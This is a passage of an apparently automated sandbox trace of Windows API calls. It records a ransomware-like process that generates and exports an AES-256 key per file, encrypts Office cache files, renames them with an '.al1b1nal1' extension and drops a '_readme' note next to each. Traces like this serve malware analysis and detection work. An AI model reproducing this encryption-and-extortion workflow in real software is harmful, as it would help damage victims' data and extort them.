(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0098.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0098.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0098.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0098.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0098.314] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0098.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0098.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0098.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0098.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0098.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.315] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1 [0098.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.315] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0098.316] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0098.316] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0098.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0098.317] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.317] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0098.317] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0098.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x900) returned 0x1273230 [0098.317] ReadFile (in: hFile=0x2a0, lpBuffer=0x1273230, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1273230*, lpNumberOfBytesRead=0x119fb28*=0x8f8, lpOverlapped=0x0) returned 1 [0098.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x900) returned 0xa447a0 [0098.320] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa447a0*, pdwDataLen=0x119fb24*=0x8f8, dwBufLen=0xcf8 | out: pbData=0xa447a0*, pdwDataLen=0x119fb24*=0x900) returned 1 [0098.326] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.326] NtClose (Handle=0x2a0) returned 0x0 [0098.326] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.al1b1nal1")) returned 1 [0098.327] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0098.327] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0098.328] GetLastError () returned 0x2 [0098.328] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d4fb0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0098.328] GetLastError () returned 0x2 [0098.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.328] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.328] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0098.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xf) returned 0x94d630 [0098.329] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.330] NtClose (Handle=0x2a0) returned 0x0 [0098.330] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0098.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0098.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0098.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0098.333] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0098.333] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0098.333] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0098.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0098.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0098.335] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.335] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0098.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0098.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0098.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0098.345] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0098.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0098.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.347] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0098.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0098.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0098.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.348] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0098.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.349] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0098.350] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0098.350] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0098.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0098.350] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.351] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0098.351] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0098.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x263400) returned 0x1ae0020 [0098.351] ReadFile (in: hFile=0x2a0, lpBuffer=0x1ae0020, nNumberOfBytesToRead=0x263400, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesRead=0x119fb28*=0x263400, lpOverlapped=0x0) returned 1 [0098.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x263400) returned 0x1d50020 [0098.588] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1d50020*, pdwDataLen=0x119fb24*=0x263400, dwBufLen=0x263800 | out: pbData=0x1d50020*, pdwDataLen=0x119fb24*=0x263410) returned 1 [0098.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x263440) returned 0x1fc0020 [0098.774] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.774] NtClose (Handle=0x2a0) returned 0x0 [0098.774] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.al1b1nal1")) returned 1 [0098.775] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0098.775] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0098.775] GetLastError () returned 0x2 [0098.775] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d4fd0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0098.776] GetLastError () returned 0x2 [0098.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.776] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.776] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0098.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1b) returned 0x12c3320 [0098.778] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.778] NtClose (Handle=0x2a0) returned 0x0 [0098.779] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0098.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0098.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0098.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1fc0020) returned 1 [0098.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0098.792] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0098.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0098.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0098.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0098.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.793] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0098.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0098.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0098.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0098.793] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0098.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0098.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.794] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0098.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0098.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0098.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.795] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0098.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.795] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0098.796] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0098.796] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0098.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0098.796] CryptExportKey (in: hKey=0x2e8fc0, 